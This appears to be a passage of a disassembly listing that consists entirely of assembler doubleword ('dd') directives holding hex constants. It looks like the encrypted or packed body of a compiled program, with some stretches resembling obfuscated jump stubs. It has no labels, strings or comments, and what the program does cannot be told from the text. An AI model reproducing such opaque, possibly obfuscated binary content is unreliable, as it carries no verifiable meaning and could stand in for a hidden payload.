		dd 0CC0E8767h, 9A1D1968h, 77A3E01h, 66C4C76Eh, 298D6BEBh
		dd 0EF0374A2h, 0A5EE806Ch, 0C413985Ah, 0BF11E960h, 6E456DFh
		dd 75C32893h, 0D5381CEDh, 4B8818A1h, 0B59E817Ah, 50820BE3h
		dd 2726F739h, 5AC5B8A1h, 77493A7Eh, 46CC869Bh, 6AB384E1h
		dd 9B77CB2Ch, 2D6D3686h, 869B77CAh, 0CC086C37h,	8D0C0757h
		dd 0B1D9DD26h, 1680745Fh, 53A4CD0Dh, 0C493D427h, 86523D8Ch
		dd 0F5DEA85Bh, 1ED363A7h, 75C319FDh, 0B4399393h, 0ECAD0F6Dh
		dd 0CC157E47h, 0AC1A9174h, 8BC03367h, 6629208Dh, 71381E12h
		dd 799F1A66h, 7C5713E0h, 22F75515h, 0CB46BC99h,	2E2092ACh
		dd 0DAB81865h, 21CE2155h, 683B2CE3h, 7EDA2B01h,	0C127179Eh
		dd 0A607C965h, 0C3ADB4Ah, 0F63A7A08h, 0FAC56F67h, 3A112949h
		dd 0BD02880Dh, 745h, 72E013C8h,	0B9BD4C94h, 0C175FE5Fh
		dd 5C93A27h, 52800DE3h,	9B79C602h, 68C22416h, 349771E5h
		dd 0FD59BFBFh, 362C674h, 3E00A417h, 0CD700D7Ah,	820FED4Bh
		dd 2F89EF24h, 0BEE4C16Ah, 7A4B8807h, 65091B05h,	1C944BB4h
		dd 1F7432B9h, 297AE034h, 1DEC74CCh, 0D2233FD9h,	53DAB214h
		dd 820B76D2h, 0D0E72BB3h, 6DDh,	9A58ABB0h, 2115E47Ch, 69ED66C7h
		dd 0ADA1528Fh, 0FA78F54Bh, 3E12EAAh, 0D0AA4C8Eh, 9C7F995Dh
		dd 65C12717h, 0FBCA6EECh, 3E013CBFh, 6588A57Ah,	67F759C0h
		dd 0C710E2E6h, 765FA6h,	7A4B4E79h, 51DCB260h, 0F34B2D76h
		dd 781AF87Ah, 5FACEA33h, 42869BA0h, 8971F85Ch, 73B7735Ah
		dd 869BA103h, 5BDB43C9h, 74AE3199h, 0A3EEC7C9h,	35BDB59h
		dd 334035h, 0C0ED0000h,	50A3D752h, 0B9806CEFh, 70A68FD6h
		dd 806CEF0Bh, 0A1C5A5EEh, 806CEF52h, 0AE28FE9Ah, 7ADCE346h
		dd 0CFCh, 0F7354900h, 58000001h, 42961DF8h, 2013B981h
		dd 0ADE93279h, 7A45D6A5h, 9DD1190Ah, 0E7F05E78h, 0E6CF7425h
		dd 19A0DAB0h, 94523D30h, 0F3D86336h, 45DD0A87h,	22101836h
		dd 0D1B4BD06h, 96F17AD3h, 97E568C2h, 0B3FDC649h, 8838932Dh
		dd 674EAABBh, 0BEBC3591h, 0A0A601D7h, 84624DC4h, 338B694Fh
		dd 0E45589BAh, 0D6DCF786h, 5D481h, 51A2B900h, 2EDF7B9Dh
		dd 0F873CA2Ch, 0B6459C7Ah, 18C6284h, 0F8459DCDh, 41A7971Ah
		dd 0EE86AE7h, 0D23426ADh, 0E743F37Ah, 27888Eh, 0F3927A3Eh
		dd 75ED4B48h, 7AD2B084h, 36119C7Eh, 1D9E84EDh, 84806CEFh
		dd 84CDBD9Bh, 0B22D0D94h, 6524F84h, 654EF5A4h, 451F9131h
		dd 0C02D767Ah, 5D38BBFFh, 7FD98695h, 0DAB85EF2h, 2C280C57h
		dd 7B4F5B45h, 5FB2E9F2h, 4AC39B79h, 87EDCBB9h, 8FD0D6B3h
		dd 551h, 6EEC1FC4h, 0ADA15088h,	0F579F24Bh, 135C613h, 4E8C01E7h
		dd 9F7DC21Eh, 64C62012h, 288365E9h, 0F155B3A3h,	775EFA78h
		dd 3DFEB003h, 0F104197Ah, 8CE960C4h, 0EEFC7FBBh, 0BAE5806Ch
		dd 5034EA5Eh, 3E1A61D9h, 0B0F50E8h, 806CEEA8h, 0A3078C69h
		dd 0D5A3EC60h, 0DB08FE73h, 0BBBF1FFDh, 0B69D6D9Eh, 0BA8508E2h
		dd 0E405EFB8h, 423D7ADCh, 36000000h, 89D259C0h,	0DFC54E2Fh
		dd 0FA0A62BFh, 0C12C084Ch, 4538ADD5h, 0B901127Ah, 0A32E8868h
		dd 48E65555h, 0ADE68695h, 0F1EB4E63h, 3D98D9C1h, 0EB096FB6h
		dd 2A41A333h, 976174B4h, 0EC59BF34h, 5Eh, 22454B59h, 19997DE7h
		dd 0CC4D2F0Dh, 0F3BE3165h, 782B806Bh, 0F394E713h, 127D806Bh
		dd 70B4E2CBh, 177A4529h, 0F351270Ch, 7D5B887Eh,	69984010h
		dd 0A3F81C0Ch, 9BEFC04Fh, 94604BC0h, 9D59BF32h,	957E59D9h
		dd 6266C686h, 0A6558C8Ch, 5035EB5Fh, 0A5A9F0DBh, 80669743h
		dd 4443Fh, 59C0B400h, 0A18D89D2h, 0CE7A45E6h, 0D4ACE545h
		dd 0C70CFA71h, 32BB13F1h, 0AEF7DE74h, 95F80768h, 4BA1F286h
		dd 79DF71B5h, 7350169Bh, 0F78BEC2Ah, 2D768695h,	7AC6DCFh
		dd 0EEEEF83Eh, 0F699806Eh, 700ECBADh, 0E7351C97h, 0AC258167h
		dd 129900DAh, 0F301CDC9h, 0A5EE8697h, 1B1DF858h, 6E0CB40h
		dd 451BEFCDh, 3F9169E2h, 0BE10D65Fh, 0A4E51DCh,	0DF41BE14h
		dd 179E7E47h, 0B6424E27h, 3238F90Eh, 0FD9C7E5Ah, 99296DB6h
		dd 7E8CC14Ah, 0A47C5515h, 8B694FC2h, 91CCBA33h,	9A69F040h
		dd 0B98698BEh, 4725BE0h, 92EA5C86h, 0E8633A9Eh,	79E7351Eh
		dd 956BCD16h, 1765AE18h, 0DC5531D7h, 5BD6B46Ah,	4FD765EFh
		dd 32C31FF9h, 2DA400E6h, 0E54ECB29h, 71B09A98h,	741F9913h
		dd 5FD0C62Fh, 4AA5638Ah, 490FF3D9h, 578264EDh, 5DD0AA0Eh
		dd 0F345D97Fh, 7749808Dh, 4C4A652Ah, 0A56303EBh, 16624DD6h
		dd 297BE5B4h, 0D79E9457h, 0DAD8250Ch, 9F3C99F0h, 5E1BE028h
		dd 0EA859D84h, 0E52E9813h, 0FFA0BE9Ah, 0B43D997Fh, 31B81CF2h
		dd 2624543Dh, 36F1E157h, 0C481F05h, 0F4846E9Bh,	0E853C6A0h
		dd 75BB9783h, 7B24A565h, 69E44612h, 9266B291h, 0B5D7219Eh
		dd 9160F8B1h, 5855DF29h, 5E02AC98h, 0D1A924FAh,	279B83D5h
		dd 149E8004h, 4994B7CCh, 3366h,	59C0CF00h, 598D89D2h, 0F17A45EFh
		dd 9B5C888Fh, 0BF9D440Dh, 0F408FEA1h, 86964387h, 0D55DC147h
		dd 74B3930Bh, 0CF2056BFh, 3A869637h, 0ABA0369h,	0B3000001h
		dd 11E960C4h, 0B866030h, 0CF2056BFh, 3A806CEEh,	542A0E69h
		dd 9F16F6F6h, 12D45D39h, 0A48DD631h, 6CEEFD7Eh,	0DDBBE480h
		dd 0DF34F27Fh, 0F75709F9h, 76D6887Eh, 0F53B7FFFh, 6D806CEAh
		dd 9C309123h, 0DEBC9FCBh, 55BC9753h, 4CC5A107h,	0C911E78Eh
		dd 9E7EDC38h, 0E725317h, 2392C6A1h, 815BB109h, 0EE4A9318h
		dd 0EC258508h, 6D4545B6h, 98E3AC80h, 851BCh, 9BE88D17h
		dd 47CAAC39h, 7359A0E3h, 46441F3Fh, 1FDF407Ah, 0B8B21CFDh
		dd 91756BF9h, 58A18AD5h, 0C51C60F8h, 0C8137036h, 0C3C7157Eh
		dd 8071BF7Bh, 81EA335Ch, 3967EE9Fh, 0DF3DF719h,	24169B79h
		dd 5CE16CC2h, 0AD5AA866h, 0DE6077BBh, 0B7000001h, 7D9B5BA8h
		dd 0C02614E5h, 8A6CEE65h, 58BEBC4Fh, 97C777FAh,	9D10F63Bh
		dd 50DDBF59h, 28A304E2h, 0E168CC2Ah
		dd 0BAF8C96Dh, 7A3DFC39h, 0C4668DA0h, 8D6BEB66h, 0DBB2A029h
		dd 0CB10997Dh, 6CEE6CCFh, 0EECA5580h, 5F59C065h, 0B00377FEh
		dd 19806CEEh, 0FFC42F76h, 45EF67BBh, 90D107Ah, 8695EFA6h
		dd 5E1C0013h, 957BA930h, 0AACEB883h, 8696B94Dh,	0AD23FB81h
		dd 0B8DD5E44h, 5BC48696h, 1DC62E7Dh, 0C07C74B3h, 0C9000000h
		dd 11E960C4h, 0F54D9BFh, 7147CCA9h, 0EB476D81h,	0B69F806Ch
		dd 6CF3EF40h, 6349DA80h, 74A2298Dh, 806CF403h, 0C54C28EEh
		dd 0FCC72E65h, 0F0E9177Eh, 7C34577Eh, 0FF87C6CAh, 0F52E6FC0h
		dd 0EC65C1A7h, 52D9401Ah, 0D10D0D09h, 0E1B27A46h, 0F447B384h
		dd 0DD8696E9h, 8CD75C3Fh, 0CB4EACA8h, 0A1F1B60h, 0AF807244h
		dd 5B399FE4h, 230A835Bh, 63FE5A33h, 1FFDD690h, 5DB31C2h
		dd 27192AA7h, 0AAD5A9Eh, 0CF3384h, 99460000h, 0D20EE86Ah
		dd 70D53323h, 449D7BFBh, 836187B7h, 449CCC0Eh, 0A69419FFh
		dd 0EB6BE640h, 2D21AA0Dh, 78FA73CBh, 2E81F5DCh,	9B7A3DFBh
		dd 66C473FAh, 298D6BEBh, 0C439B2A0h, 9806460h, 0DF2E52B1h
		dd 2ED64889h, 9375351Ch, 6280B23Bh, 0F3270CB7h,	7A4B754Eh
		dd 43B4E2B3h, 0AE869BC6h, 0E7B19AE5h, 5B3D8D06h, 55BE0885h
		dd 845A2E0Ah, 43A5A920h, 0BF1962EBh, 0B00054D9h, 0AA5B8751h
		dd 0A3D54A4Eh, 2AC06E37h, 0F27BD3F4h, 4FC6A640h, 0CF3C25FBh
		dd 41A3E7Bh, 0BC3F7B4Ch, 25AF07E7h, 0DCB81E7Ah,	0A707E155h
		dd 2277582Eh, 1E000000h, 9A60C912h, 0D127B341h,	0D563F1Eh
		dd 0B6CD4303h, 0F026F200h, 806C817Fh, 5AD1B46Ah, 785CA7ECh
		dd 0EC1FC4F7h, 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h
		dd 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh, 89573A79h
		dd 4C781E7h, 83000000h,	3C8704EFh, 3C895C24h, 32FB6824h
		dd 2C890000h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 56243C89h, 1E3AF6BEh, 0AFDABD44h, 0ED81C210h, 3DC137B5h
		dd 0C581F501h, 3DC137B5h, 4EC815Eh, 89000000h, 4812424h
		dd 424h, 0EC815F00h, 4,	81242C89h, 52EB242Ch, 478F6E33h
		dd 8478108h, 6E3352EBh,	5F2434FFh, 4C481h, 2C8B0000h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FA878FE9h, 62FAA0FFh, 0DB7313BEh
		dd 5BD74A33h, 2EF576B8h, 0FFC50306h, 1CA905E0h,	73133B40h
		dd 0FE9A9005h, 0EDD53C05h, 59EE837Fh, 0C556B418h, 0F38F5A0Dh
		dd 7A0C0B36h, 6032482Fh, 35928327h, 0ADC22035h,	18029B7Ah
		dd 0F66C4627h, 6D63284Dh, 8E83Fh, 7EA80000h, 0C9F1C2A2h
		dd 8166D17Eh, 5B05F8D9h, 81C6BF0Fh, 6A3DC3h, 2B595000h
		dd 0DE9D2h, 0D0F40000h,	0C176F426h, 124A248Ah, 0FF85DBCDh
		dd 59531A34h, 0F681FC5Eh, 55189163h, 0AE9h, 0AC71B100h
		dd 8FFEE127h, 819256EBh, 5E9311F6h, 0A9E8817Ah,	81377804h
		dd 883DF1EEh, 89C18B33h, 0BF0F1334h, 0C6B70FC8h, 0E804EA83h
		dd 12h,	0BE252EE7h, 1001368Ch, 0ACD05A53h, 23256574h, 0E85075CAh
		dd 9, 0EA781AB0h, 75A2E360h, 585F5FB9h,	9684FA81h, 850FFFFFh
		dd 10h,	0B51AB9h, 1DE96Eh, 0B90000h, 26E09EC5h,	3035B966h
		dd 0FFFF76E9h, 0D0EE32FFh, 0A621C810h, 0B095CFB9h, 8DA53405h
		dd 2EF80F8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 6C910249h, 49B5295Ch, 89062907h
		dd 291E6D8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 4F9B87E3h, 1809BD23h, 0DA800629h
		dd 8185C79Dh, 0A006292Dh, 6A000074h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E0A3C357h
		dd 0C30358B5h, 200585C7h, 629h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 2675C1C3h
		dd 17F40DC7h, 0EDB5FF9Fh, 0F06290Fh, 485h, 0DCBA6600h
		dd 0E995FF8Ch, 6A062931h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 2539C356h, 95FF006Ah
		dd 6290591h, 6CEBC08Bh,	0F85D8A20h, 0A29D7C59h,	0BBBD305Fh
		dd 0C3869FD9h, 6AE5C09Fh, 0E081047Ch, 24A622E3h, 97E92DE6h
		dd 0DF7FBC4Bh, 672E1905h, 4FC60B68h, 51BDF6AAh,	0AFAAEEECh
		dd 71D67B2Bh, 5372D7CBh, 5B75743Ch, 5CEFF6FCh, 0FF1DAAC4h
		dd 7EF4AE47h, 5A762F56h, 5BC954A5h, 666A67D0h, 0ECE94015h
		dd 0B0A8A5E6h, 1EF51BEh, 76E5D48Fh, 1128FE10h, 11E8h, 65D84E00h
		dd 0EF7E9FC1h, 8630A294h, 93E091CEh, 65BB1AC3h,	5E5F533Dh
		dd 23DD9D23h, 0C6810629h, 6AF1h, 0BADE8B66h, 5F9302A0h
		dd 183BF281h, 8B665F93h, 1068BDAh, 29142995h, 46C08106h
		dd 101DB1Eh, 29119185h,	72F08106h, 602B1A39h, 6E9h, 0F4659D00h
		dd 66D8500Fh, 613718B9h, 236CC081h, 816608D1h, 50E3C6DBh
		dd 38B0Fh, 0C9800000h, 83068F31h, 4AF504EEh, 0FFB3850Fh
		dd 8157FFFFh, 54DBB9D3h, 8D8D5948h, 62EF9AFh, 68B0F52h
		dd 29000000h, 2929BD9Dh, 8D895A06h, 6291E6Dh, 85C7FA8Ah
		dd 6292D81h, 5E1Ch, 10E9h, 1D6A4C00h, 0BB07913Fh, 0FD267BDBh
		dd 0B962973Ah, 585C7C3h, 62920h, 0FF000000h, 291B7DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 2D09A8F4h, 0FF935B82h, 2931E995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D43EAA47h, 9589AB5Ah, 6292D09h, 95FF006Ah, 6290591h
		dd 48EBC08Bh, 0D2B47B31h, 1A2B305Dh, 75854021h,	0E74E0502h
		dd 0A31DC679h, 0AA8D8AF0h, 0E4CD65CCh, 0C10FCBC9h, 452290E1h
		dd 72B2DFB6h, 861F7020h, 0FB18AE43h, 1D3AC373h,	0FD71108Fh
		dd 8F0F12Bh, 8D10FB57h,	1D16C548h, 0FDE14433h, 0E8E9h
		dd 945B4100h, 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 43F1B6D0h, 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 0Ch dup(0)
		dd 14CBE900h, 0FE680000h, 0E9062EFCh, 0FFFA82A4h, 2EFE2368h
		dd 829AE906h, 0FC68FFFAh, 0E9062EFEh, 0FFFA8290h, 2F004B68h
		dd 8286E906h, 0BE68FFFAh, 0E9062F00h, 0FFFA827Ch, 2F017568h
		dd 8272E906h, 1F68FFFAh, 0E9062F02h, 0FFFA8268h, 2F02BC68h
		dd 825EE906h, 7668FFFAh, 0E9062F03h, 0FFFA8254h, 2F04A468h
		dd 824AE906h, 8968FFFAh, 0E9062F05h, 0FFFA8240h, 2F06F268h
		dd 8236E906h, 0CA68FFFAh, 0E9062F07h, 0FFFA822Ch, 2F090D68h
		dd 8222E906h, 2768FFFAh, 0E9062F0Ah, 0FFFA8218h, 2F0C3868h
		dd 820EE906h, 1268FFFAh, 0E9062F0Dh, 0FFFA8204h, 0C674875Ch
		dd 5C93820h, 4D810AE3h,	995DAEABh, 2614997Fh, 37955A76h
		dd 0FC5EB8BAh, 401BFD71h, 9ED0BCBh, 9FF65280h, 3DF4189Bh
		dd 59EC817Ah, 0AFEB60C4h, 806CEF4Ch, 0AE0EEAB5h, 3B6ADC27h
		dd 7E53FB5Dh, 874CC18Ch, 8361B79Eh, 0D9B0A22Bh,	363182F0h
		dd 0F798806Ch, 7FCB3821h, 0B366C014h, 0D1A92285h, 7942ABF2h
		dd 6C35BA3Dh, 187C2780h, 505C135h, 0B3057A45h, 0BE9555A6h
		dd 6591FC5Ah, 86956612h, 0FD4D94FFh, 95663AB9h,	1016B286h
		dd 0B46C5E86h, 299474h,	0C0510000h, 8D89D259h, 7A45EF59h
		dd 49AD1D06h, 8695EFEAh, 8C066E2h, 0BD046200h, 9CF8DE52h
		dd 0B326658Fh, 0E79D74h, 0C4560000h, 3011E960h,	0BD0D8460h
		dd 0CEAC0256h, 429E7A43h, 0BC9565B3h, 3F8B06E4h, 4A2280D4h
		dd 0B81EFAC3h, 0EE70C337h, 3659806Ch, 0ECC81BEFh, 6BE2BA1Ch
		dd 61D31E02h, 0D7774D14h, 5C014581h, 5806C11h, 0CC2A28A1h
		dd 4319E168h, 12006DD6h, 7A44EBA0h, 0BFD6040Fh,	4BCF2056h
		dd 693A8695h, 0C6F0A903h, 0C918EE65h, 954B6ACDh, 0E5CC5786h
		dd 8F9084BFh, 0D43FB50Fh, 0F142818Fh, 0CBE6239Dh, 71BF80EDh
		dd 744164FEh, 8E82D69Eh, 8070C593h, 0B0006D36h,	799F5FD2h
		dd 6B15169Bh, 36AD5C24h, 1206EFF0h, 1D3A0000h, 4E8A6CEEh
		dd 0FC59BFBFh, 3821C777h, 0FED0BCBh, 0C8005082h, 2A28A57Bh
		dd 77E76ACCh, 0B9BD3691h, 0C476FF5Fh, 0A2150160h, 0F7A3DF2h
		dd 66C4CF76h, 543682EBh, 9D7BF3D9h, 0EB82B039h,	0CB21AA0Dh
		dd 0D259C018h, 1078A089h, 66379722h, 0FD2161B7h, 0AA7A4525h
		dd 263CBFFBh, 0FAA58695h, 0B2FED793h, 22DC044Bh, 2C6C4840h
		dd 8695DDCFh, 2DA5791Fh, 74B3F8C3h, 0E37Fh, 60C4F400h
		dd 0D9BF11E9h, 1C958571h, 0E613F9h, 8FD63D8Dh, 9D83C2A4h
		dd 2ECDFA02h, 78B89C41h, 806BFFA5h, 9D51D8BCh, 0C1482CF4h
		dd 68CE2A79h, 0A52C888Ch, 6B2EEC5Ah, 6492FBC0h,	806C0913h
		dd 67C795FEh, 52BB8AEEh, 0DBAF2686h, 0A6CAC88h,	27A44DAh
		dd 397AFD39h, 3C678695h, 3B9C02D8h, 3F9DF6B0h, 4F8FD65Fh
		dd 56D9DD26h, 4386953Ah, 772284D0h, 0B59EE7CCh,	953AEE41h
		dd 4E48DB86h, 86953AEDh, 0EA4D49D4h, 0D786953Ah, 3E17654Ch
		dd 70950AF8h, 59A2ED80h, 0A69419FFh, 0DE6FE240h, 0AD5C5D38h
		dd 0E1A235F9h, 0E7000010h, 0AD4B8B78h, 709644B5h, 3ADC1E95h
		dd 886EEC1Fh, 0E7B7A72Ah, 0CD4026EBh, 800DEF09h, 58D3B452h
		dd 11987C9Ah, 0EA2879DDh, 7A3DF089h, 0C4D65D70h, 8D6BEB66h
		dd 39B2A029h, 806460C4h, 86582E09h, 49AFAF26h, 0CD8367ECh
		dd 246BC569h, 5713E27Eh, 1DCD307Ch, 6B96191Dh, 1003806Ch
		dd 0F76CEEC9h, 852EEB64h, 53547AB8h, 0E8BB7A45h, 0FB7CBA83h
		dd 0E6869586h, 0F77CDFBDh, 8DEDA1A1h, 0E300F57h, 0F2DB208Bh
		dd 1FB83384h, 9E789E7Eh, 8E6CC813h, 0DAD83503h,	77F8A8E8h
		dd 0EB18C1D7h, 9EF2680h, 0E4525AEh, 62C9502Ah, 0D0701D19h
		dd 0CE517E24h, 32BB13E5h, 24A90FE9h, 1AF214D0h,	46126591h
		dd 482F8A75h, 4AFA1BC6h, 40ABF468h, 0A75C01A3h,	456AA0AFh
		dd 1008h, 62D02338h, 0A9AD5C84h, 0F165EE4Fh, 3539CA17h
		dd 42F07DD3h, 8B69B612h, 5832D406h, 248761D5h, 0ED49AFAFh
		dd 7352F664h, 3DF0B407h, 0FD001D7Ah, 11E960C4h,	0AF96030h
		dd 66CD4C2Eh, 0E685191Dh, 61327A45h, 57DABC04h,	7227C501h
		dd 9E68E344h, 15016AB5h, 806EDC21h, 0B1429F79h,	0D492FD5Bh
		dd 0BF1063D0h, 0D75E3E8Ch, 57A4BD13h, 6CB2A693h, 6DB157D6h
		dd 8AC5FBE5h, 57376Eh, 4B3C0000h, 0B18774EDh, 9CF942D7h
		dd 820FED4Bh, 8989EF24h, 7A462453h, 0F9C22B74h,	0E0BABC1Fh
		dd 6FB69D6Dh, 5BD0AB09h, 3C62DF9Bh, 5F3F8696h, 21A80CD4h
		dd 963C86E9h, 0D9207386h, 0A8788CFCh, 47A3D7AFh, 6C9CF571h
		dd 30263991h, 6CC216BDh, 11A6008Bh, 0F34h, 0D259C09Eh
		dd 749E8D89h, 0DDC37A4Bh, 3285F178h, 9F869BEAh,	7942ADF4h
		dd 84B63F9Fh, 3A038A62h, 0BF1D24F6h, 2C0939E1h,	9BC785F6h
		dd 0D5236C86h, 49F2A765h, 4DC4366Ch, 6033807Ah,	0ADE9321Bh
		dd 8CCAC24Ah, 2A88ECB7h, 0FD1BDB52h, 624B9019h,	0CAC1C334h
		dd 5ADDD98Ch, 478CCAC1h, 0B91F00DCh, 0B20652DFh, 91FA41D8h
		dd 0A39A9565h, 14297A86h, 0A729534Eh, 0B988DFD3h, 8F00000Eh
		dd 55B3A350h, 18FE7C8Dh, 0E20436BDh, 0B0568477h, 0CF9F5FD2h
		dd 0E568CE13h, 0B8359771h, 70FB5CBAh, 0C94024C2h, 0D2C0A105h
		dd 7A3DEE61h, 660EB548h, 806CEF19h, 718B1584h, 6BD9CC38h
		dd 0BFFBC02Bh, 7A4A8843h, 3E9AE3ACh, 0E67D75Eh,	747FD1AAh
		dd 2861BF74h, 0F44AAE89h, 6B219910h, 0FA3805AEh, 8074B768h
		dd 39FF0C17h, 0F8AD5877h, 0E46AD32h, 0DD7A0000h, 0ECA2C2Eh
		dd 3C997FFFh, 0F86187B7h, 4F2DCB0Bh, 884010C2h,	0EA68E5BBh
		dd 3727AA0Ch, 79FD76D1h, 84B63F9Fh, 0E2554120h,	0CF7A3DEEh
		dd 60C48F36h, 0DFBF11E9h, 0FE240D56h, 806CEE7Dh, 6DDD3B64h
		dd 0ED5DAEABh, 0A6DC2F2Bh, 806CEF55h, 3E88D3BCh, 3B76FEDh
		dd 0FB7BA3A9h, 7ADCE3F9h, 85C31h, 59C03A00h, 488D89D2h
		dd 0A97A4B75h, 3694926Bh, 0BF9650BBh, 9BE8F87Bh, 57BEE186h
		dd 0F551270Ch, 0BC18FE7Ch, 11292610h, 55F53BC8h, 0C0A681CAh
		dd 9B994FACh, 0E04BCE86h, 910B9F9Bh, 5D438074h,	0C5F3068Ch
		dd 19C715A8h, 0FA19F576h, 288AD58h, 0D8FBDh, 59AAB100h
		dd 16E77395h, 0E06BC224h, 0BE4D9472h, 9845ABCh,	0F03D95C5h
		dd 0B95F9F12h, 6E052DFh, 0CA2C2EA5h, 0DF7BFB72h, 0EE2F80F6h
		dd 0FB9A7A3Dh, 0EB60C470h, 6CEF4CAFh, 0EEAB580h, 4327AEh
		dd 3F004139h, 6CEE78FBh, 0DA3E6180h, 5129A004h,	21B175E3h
		dd 7ADCE3BFh, 7AC7Bh, 1966F000h, 84806CEFh, 5145AE15h
		dd 7A4B753Ch, 0CFA9F29Dh, 9274E66Fh, 0D75E3E3Ah, 92CC3013h
		dd 277CFDFAh, 11CBBF86h, 0DCDA2388h, 8074DD4Ah,	0DF563682h
		dd 59D2B56Bh, 7D5BA2E1h, 0DF5431E7h, 2CD1386Bh,	0AD585078h
		dd 0E5E2F539h, 0DB00000Ch, 0A94F8F7Ch, 749240B1h, 3ED81A91h
		dd 8462D023h, 0FBABAB26h, 31BC12DFh, 8C01DB3Dh,	44CFA84Eh
		dd 1D947096h, 0EE147DD9h, 7A3DEC8Dh, 0C4D25974h, 3011E960h
		dd 0B31A44C8h, 0A98F7A67h, 0CFA73CBh, 0D45EC056h, 7ADDC70Ch
		dd 71026h, 59C00F00h, 538D89D2h, 7C7A4B75h, 8E6ECA13h
		dd 5531D707h, 68AEF7DCh, 869BEA07h, 0E74BA1F2h,	0FC0FCAAEh
		dd 9973D90Ah, 1B715214h, 9BE998E7h, 2F940586h, 0E14ED0C6h
		dd 14798074h, 0C4F18DEEh, 0C02B748Ch, 584BDF23h, 8BDCD2ADh
		dd 0C48h, 2210E378h, 69ED1CC4h,	0B1A52E8Fh, 0F5798A57h
		dd 230BD13h, 0CBA97652h, 98729446h, 64C72115h, 2D896FEFh
		dd 0B312B6A4h, 3DECF447h
		dd 0BDC0DD7Ah, 0E4CC60C4h, 96B82BCEh, 0BE31654Eh, 2B806CB6h
		dd 0C4341178h, 0D9330ECCh, 67CB212Dh, 0FA4CC5A1h, 8A0C1238h
		dd 7ADD126Ah, 66480h, 1466AD00h, 0FF806CEFh, 0ECB4911Ah
		dd 0ED26800Bh, 0D127AC0Fh, 757D86FCh, 3B647A4Bh, 0C8F6AED2h
		dd 0ACE03641h, 3B936548h, 866680B2h, 5BB1E82Ah,	0F560FD0h
		dd 9473FA26h, 32B21D4h,	7E5AD7B5h, 0E249D08Ah, 2EE19D99h
		dd 0C8CE8074h, 1A916A6Ah, 0DD5BE833h, 0C4AD58E5h, 0B8EF9CEh
		dd 0A5B20000h, 0D602E456h, 74D13727h, 40997FFFh, 876583B3h
		dd 4098C80Ah, 0A2901DF3h, 0EF6FE244h, 3125AE09h, 7CFE77D7h
		dd 2A8D89D8h, 977A3DECh, 60C477FEh, 0BD0DFC64h,	0E5BB0F56h
		dd 0ED3E8801h, 2E8EB76Fh, 0E0B7A7h, 3A7ADCE8h, 127h, 5186AFD1h
		dd 821EBFB1h, 0DECD0D7Ah, 0F7C52C5Eh, 0E960C47Ch, 56DFBF11h
		dd 0F7838DE4h, 75C13A35h, 0E2B71167h, 4C067C59h, 0BB7A44E3h
		dd 61371EE8h, 0E9290F84h, 8695438Ah, 0EB070942h, 0D16A2E35h
		dd 988EAC88h, 0B46AD61Eh, 306C74h, 0C0D90000h, 8D89D259h
		dd 7A45EF59h, 981B1F06h, 798695EFh, 553E129Fh, 0FB78BC0Ah
		dd 0F38695EFh, 9F41D155h, 5B74B3E6h, 0A1h, 48BBA672h, 60C4E36Ch
		dd 7FBB8CE9h, 806CEEFCh, 0EA5EBAE5h, 6FDB5634h,	0E244CDA9h
		dd 0E4C1482Ch, 0EF146793h, 92FD806Ch, 2FC28646h, 2A806CC5h
		dd 8EF2DB52h, 0DFC0F177h, 80F32750h, 69806D28h,	7DF9DF26h
		dd 54B1FA9Fh, 4880D62Eh, 755EC17Ah, 9240CDA3h, 4B969674h
		dd 0BA85CEB8h, 846D3589h, 21B67CB3h, 0A60h, 0CA08FB60h
		dd 11C5342Ch, 599D16F7h, 9D51A2BFh, 2A28A57Bh, 33915E7Ah
		dd 805ABCBEh, 4C2FC90Dh, 15F117C7h, 0ABFA5E9Ch,	3DEB0C6Fh
		dd 55D8F57Ah, 6BEB66C4h, 0B2A0298Dh, 0E960C439h, 56DFBF11h
		dd 493F3E4h, 0C0700000h, 8D89D259h, 7A45E0C9h, 35D91F01h
		dd 0C9805E24h, 0F82485DEh, 12666ED4h, 0A6EF5BC4h, 1CD6595Dh
		dd 50C38696h, 1CB70404h, 91378696h, 0B9DB058Dh,	2B1774B3h
		dd 0DC000002h, 6CEF1666h, 971CFD80h, 3993654Eh,	0BB91F2B4h
		dd 4B754A47h, 0B0E6AF7Ah, 869BE93Fh, 0B02FDCAAh, 0E2F24078h
		dd 26BB09Bh, 575DD0B6h,	37631AE0h, 9B795FB2h, 0E1884AC3h
		dd 57FACCBFh, 0FDDB475Bh, 0ED36BF1Fh, 61D9E84h,	9B84869Bh
		dd 8A0FCDBDh, 24DEC421h, 938073F1h, 23F16380h, 0FA30AD59h
		dd 97BD5h, 65964D00h, 3ACB17F1h, 0F47FDE38h, 4AB9A046h
		dd 5886E88h, 844981D1h,	4DABAB26h, 12F466EBh, 0E60032B9h
		dd 0EB4F8F06h, 0EA1B9C9Ah, 0EF867A3Dh, 6460C444h, 0E5BB0F82h
